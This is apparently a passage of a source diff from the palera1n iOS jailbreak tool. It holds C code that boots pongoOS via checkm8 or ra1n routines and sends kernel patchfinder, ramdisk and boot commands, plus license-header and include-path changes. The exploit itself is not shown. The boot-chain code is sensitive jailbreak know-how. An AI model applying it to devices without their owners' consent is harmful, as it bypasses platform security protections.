|
uint8_t *pongo_lz4 = NULL;
|
||||||
|
size_t pongo_lz4_length = 0;
|
||||||
|
|
||||||
|
if (!pongo_bin) {
|
||||||
|
LOG_ERROR("pongoOS is not loaded?");
|
||||||
|
return 15;
|
||||||
|
}
|
||||||
|
|
||||||
|
// pongo has been moved to sram, due to space constraints
|
||||||
|
// we need to make a self-decompressing payload before sending
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
if (lz4_compress_pongo(pongo_bin, pongo_bin_length, &pongo_lz4, &pongo_lz4_length)) {
|
||||||
|
#else
|
||||||
|
if (!prepare_pongo(&pongo_lz4, &pongo_lz4_length, pongo_bin, pongo_bin_length)) {
|
||||||
|
#endif
|
||||||
|
// how on earth
|
||||||
|
LOG_ERROR("Failed to compress pongo image?");
|
||||||
|
free(pongo_lz4);
|
||||||
|
return 15;
|
||||||
|
}
|
||||||
|
|
||||||
|
p1_checkm8_err_t cr =
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
ra1n_send_pongo(handle, pongo_lz4, pongo_lz4_length);
|
||||||
|
#else
|
||||||
|
checkm8_boot_pongo(handle, pongo_lz4, pongo_lz4_length);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
free(pongo_lz4);
|
||||||
|
|
||||||
|
return cr;
|
||||||
|
}
|
||||||
|
|
||||||
|
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle)
|
||||||
|
{
|
||||||
|
p1_transfer_ret_t result;
|
||||||
|
|
||||||
|
char paleinfo[64];
|
||||||
|
snprintf(paleinfo, sizeof(paleinfo), "palera1n_flags 0x%" PRIx64, palerain_flags);
|
||||||
|
|
||||||
|
char xargs_cmd[0x270];
|
||||||
|
snprintf(xargs_cmd, sizeof(xargs_cmd), "xargs %s", boot_args);
|
||||||
|
if (palerain_flags & palerain_option_setup_rootful) {
|
||||||
|
strncat(xargs_cmd, " wdt=-1", sizeof(xargs_cmd) - strlen(xargs_cmd) - 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
result = issue_pongo_command(handle, "fuse lock");
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
result = issue_pongo_command(handle, "sep auto");
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
if (g_payload_kpf.data_len > 0) {
|
||||||
|
result = upload_buffer_to_pongo(handle, g_payload_kpf.data, g_payload_kpf.data_len);
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
// embedded artifacts are lzma compressed, mostly for binary size
|
||||||
|
// this tells pongo to decompress after sending the KPF
|
||||||
|
// overwritten artifacts should not be compressed, so we always
|
||||||
|
// assume not compressed
|
||||||
|
if (g_payload_kpf.uncompressed_data_len > 0) {
|
||||||
|
char modload_cmd[64];
|
||||||
|
snprintf(modload_cmd, sizeof(modload_cmd), "modload %zu", g_payload_kpf.uncompressed_data_len);
|
||||||
|
result = issue_pongo_command(handle, modload_cmd);
|
||||||
|
} else {
|
||||||
|
result = issue_pongo_command(handle, "modload");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
}
|
||||||
|
|
||||||
|
// palera1n specific flags
|
||||||
|
result = issue_pongo_command(handle, paleinfo);
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
// this wont run by default if builds dont have a ramdisk (WITH_RAMDISK=0)
|
||||||
|
if (g_payload_ramdisk.data_len > 0) {
|
||||||
|
result = upload_buffer_to_pongo(handle, g_payload_ramdisk.data, g_payload_ramdisk.data_len);
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
// embedded artifacts are lzma compressed, mostly for binary size
|
||||||
|
// this tells pongo to decompress after sending the ramdisk
|
||||||
|
// overwritten artifacts should not be compressed, so we always
|
||||||
|
// assume not compressed
|
||||||
|
if (g_payload_ramdisk.uncompressed_data_len > 0) {
|
||||||
|
char ramdisk_cmd[64];
|
||||||
|
snprintf(ramdisk_cmd, sizeof(ramdisk_cmd), "ramdisk %zu", g_payload_ramdisk.uncompressed_data_len);
|
||||||
|
result = issue_pongo_command(handle, ramdisk_cmd);
|
||||||
|
} else {
|
||||||
|
result = issue_pongo_command(handle, "ramdisk");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
}
|
||||||
|
|
||||||
|
// this wont run by default if builds dont have a binpack (WITH_BINPACK=0)
|
||||||
|
if (g_payload_overlay.data_len > 0) {
|
||||||
|
result = upload_buffer_to_pongo(handle, g_payload_overlay.data, g_payload_overlay.data_len);
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
result = issue_pongo_command(handle, "overlay");
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strlen(boot_args) > 0) {
|
||||||
|
result = issue_pongo_command(handle, xargs_cmd);
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
}
|
||||||
|
|
||||||
|
result = issue_pongo_command(handle, "bootx");
|
||||||
|
if (result.ret != 0) goto bad;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
bad:
|
||||||
|
return 255;
|
||||||
|
}
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef USB_PONGO_H
|
||||||
|
#define USB_PONGO_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
#if WITH_CIDERRAIN
|
||||||
|
# include <ciderra1n/usb.h>
|
||||||
|
# include <ciderra1n/ra1n.h>
|
||||||
|
typedef client_t p1_usb_handle_t;
|
||||||
|
typedef transfer_t p1_transfer_ret_t;
|
||||||
|
typedef ra1n_client_err_t p1_checkm8_err_t;
|
||||||
|
#else
|
||||||
|
# include <openra1n/shim.h>
|
||||||
|
# include <openra1n/checkm8.h>
|
||||||
|
typedef usb_handle_t p1_usb_handle_t;
|
||||||
|
typedef transfer_ret_t p1_transfer_ret_t;
|
||||||
|
typedef checkm8_err_t p1_checkm8_err_t;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define PONGO_MAX_SZ (0x7fe00)
|
||||||
|
#define MACHO_MAGIC_32 (const unsigned char[]){ 0xCE, 0xFA, 0xED, 0xFE }
|
||||||
|
#define MACHO_MAGIC_64 (const unsigned char[]){ 0xCF, 0xFA, 0xED, 0xFE }
|
||||||
|
#define CMD_LENGTH_MAX 512
|
||||||
|
|
||||||
|
p1_checkm8_err_t send_compressed_pongo(p1_usb_handle_t *handle, const uint8_t *pongo_bin, const size_t pongo_bin_length);
|
||||||
|
p1_checkm8_err_t send_full_pongo_jailbreak(p1_usb_handle_t *handle);
|
||||||
|
|
||||||
|
#endif // USB_PONGO_H
|
||||||
+31
-3
@@ -1,7 +1,34 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
#include <nlohmann/json.hpp>
|
#include <nlohmann/json.hpp>
|
||||||
#include "gen/DFUHelperDeviceInfo.h"
|
#include "gen/embedded/DFUHelperDeviceInfo.h"
|
||||||
#include "sequence.hpp"
|
#include "sequence.hpp"
|
||||||
|
|
||||||
DfuSequence ParseSequence(const std::string& deviceKey)
|
DfuSequence ParseSequence(const std::string& deviceKey)
|
||||||
@@ -9,8 +36,9 @@ DfuSequence ParseSequence(const std::string& deviceKey)
|
|||||||
DfuSequence seq;
|
DfuSequence seq;
|
||||||
|
|
||||||
static nlohmann::json j = nlohmann::json::parse(
|
static nlohmann::json j = nlohmann::json::parse(
|
||||||
DFUHelperDeviceInfo,
|
embedded_DFUHelperDeviceInfo_json,
|
||||||
DFUHelperDeviceInfo + DFUHelperDeviceInfo_len
|
embedded_DFUHelperDeviceInfo_json +
|
||||||
|
embedded_DFUHelperDeviceInfo_json_len
|
||||||
);
|
);
|
||||||
|
|
||||||
auto itMap = j["devicemap"].find(deviceKey);
|
auto itMap = j["devicemap"].find(deviceKey);
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#if defined(WITH_GUI) || defined(WITH_TUI)
|
#if defined(WITH_GUI) || defined(WITH_TUI)
|
||||||
|
|
||||||
#ifndef SEQUENCE_H
|
#ifndef SEQUENCE_H
|
||||||
|
|||||||
+28
-2
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "Tui.hpp"
|
#include "Tui.hpp"
|
||||||
@@ -21,9 +48,8 @@
|
|||||||
#include "TuiExploitPanel.hpp"
|
#include "TuiExploitPanel.hpp"
|
||||||
#include "TuiBranding.hpp"
|
#include "TuiBranding.hpp"
|
||||||
#include "../globals.h"
|
#include "../globals.h"
|
||||||
#include "../utils.h"
|
|
||||||
#include "../paleinfo.h"
|
#include "../paleinfo.h"
|
||||||
#include "../event.hpp"
|
#include "../events/event.hpp"
|
||||||
|
|
||||||
#define WIDTH 80
|
#define WIDTH 80
|
||||||
#define HEIGHT 24
|
#define HEIGHT 24
|
||||||
|
|||||||
+28
-1
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_HPP
|
#ifndef TUI_HPP
|
||||||
@@ -7,7 +34,7 @@
|
|||||||
#include <mutex>
|
#include <mutex>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
|
||||||
#include "../event.hpp"
|
#include "../events/event.hpp"
|
||||||
#include "TuiPanel.hpp"
|
#include "TuiPanel.hpp"
|
||||||
|
|
||||||
class TuiPanel;
|
class TuiPanel;
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiBranding.hpp"
|
#include "TuiBranding.hpp"
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_BRANDING_HPP
|
#ifndef TUI_BRANDING_HPP
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiDfuArt.hpp"
|
#include "TuiDfuArt.hpp"
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#ifndef TUI_DFU_ART_HPP
|
#ifndef TUI_DFU_ART_HPP
|
||||||
|
|||||||
+35
-21
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
* SOFTWARE.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
#ifdef WITH_TUI
|
#ifdef WITH_TUI
|
||||||
|
|
||||||
#include "TuiDfuPanel.hpp"
|
#include "TuiDfuPanel.hpp"
|
||||||
@@ -8,14 +35,13 @@
|
|||||||
#include <unordered_set>
|
#include <unordered_set>
|
||||||
|
|
||||||
#include <ncurses.h>
|
#include <ncurses.h>
|
||||||
#include <libirecovery.h>
|
|
||||||
|
|
||||||
#include "Tui.hpp"
|
#include "Tui.hpp"
|
||||||
#include "TuiDfuArt.hpp"
|
#include "TuiDfuArt.hpp"
|
||||||
#include "TuiText.hpp"
|
#include "TuiText.hpp"
|
||||||
#include "TuiRecoveryPanel.hpp"
|
#include "TuiRecoveryPanel.hpp"
|
||||||
#include "../sequence.hpp"
|
#include "../sequence.hpp"
|
||||||
#include "../event.hpp"
|
#include "../events/event.hpp"
|
||||||
#include "../globals.h"
|
#include "../globals.h"
|
||||||
#include "../paleinfo.h"
|
#include "../paleinfo.h"
|
||||||
|
|
||||||
@@ -296,13 +322,16 @@ void TuiDfuPanel::handle_device_update(const DeviceState& state) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (!state.connected) {
|
if (!state.connected) {
|
||||||
if (!m_isEnteringDfu) {
|
if (m_isEnteringDfu || m_waitingForDfuTransition) {
|
||||||
reset_sequence_state();
|
return;
|
||||||
GetFrame()->ShowMain(1);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
reset_sequence_state();
|
||||||
|
GetFrame()->ShowMain(1);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
if (m_isEnteringDfu && state.mode == DeviceMode::DFU) {
|
if (m_isEnteringDfu && state.mode == DeviceMode::DFU) {
|
||||||
m_isEnteringDfu = false;
|
m_isEnteringDfu = false;
|
||||||
m_dfuSuccess = true;
|
m_dfuSuccess = true;
|
||||||
@@ -337,22 +366,7 @@ void TuiDfuPanel::reboot() {
|
|||||||
if (!state.connected || state.mode != DeviceMode::Recovery)
|
if (!state.connected || state.mode != DeviceMode::Recovery)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
irecv_client_t client = nullptr;
|
exit_recovery();
|
||||||
int attempts = 0;
|
|
||||||
const int max_attempts = 8;
|
|
||||||
|
|
||||||
while (attempts < max_attempts) {
|
|
||||||
if (irecv_open_with_ecid(&client, state.ecid) == IRECV_E_SUCCESS)
|
|
||||||
break;
|
|
||||||
attempts++;
|
|
||||||
std::this_thread::sleep_for(std::chrono::milliseconds(250));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!client) return;
|
|
||||||
irecv_setenv(client, "auto-boot", "true");
|
|
||||||
irecv_saveenv(client);
|
|
||||||
irecv_reboot(client);
|
|
||||||
irecv_close(client);
|
|
||||||
}).detach();
|
}).detach();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,3 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* palera1n - https://palera.in
|
||||||
|
*
|
||||||
|
* Copyright (C) 2026 palera1n team
|
||||||
|
*
|
||||||
|
* SPDX-License-Identifier: MIT
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to deal
|
||||||
|
* in the Software without restriction, including without limitation the rights
|
||||||
|
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
* copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in all
|
||||||
|
* copies or substantial portions of the Software.
|
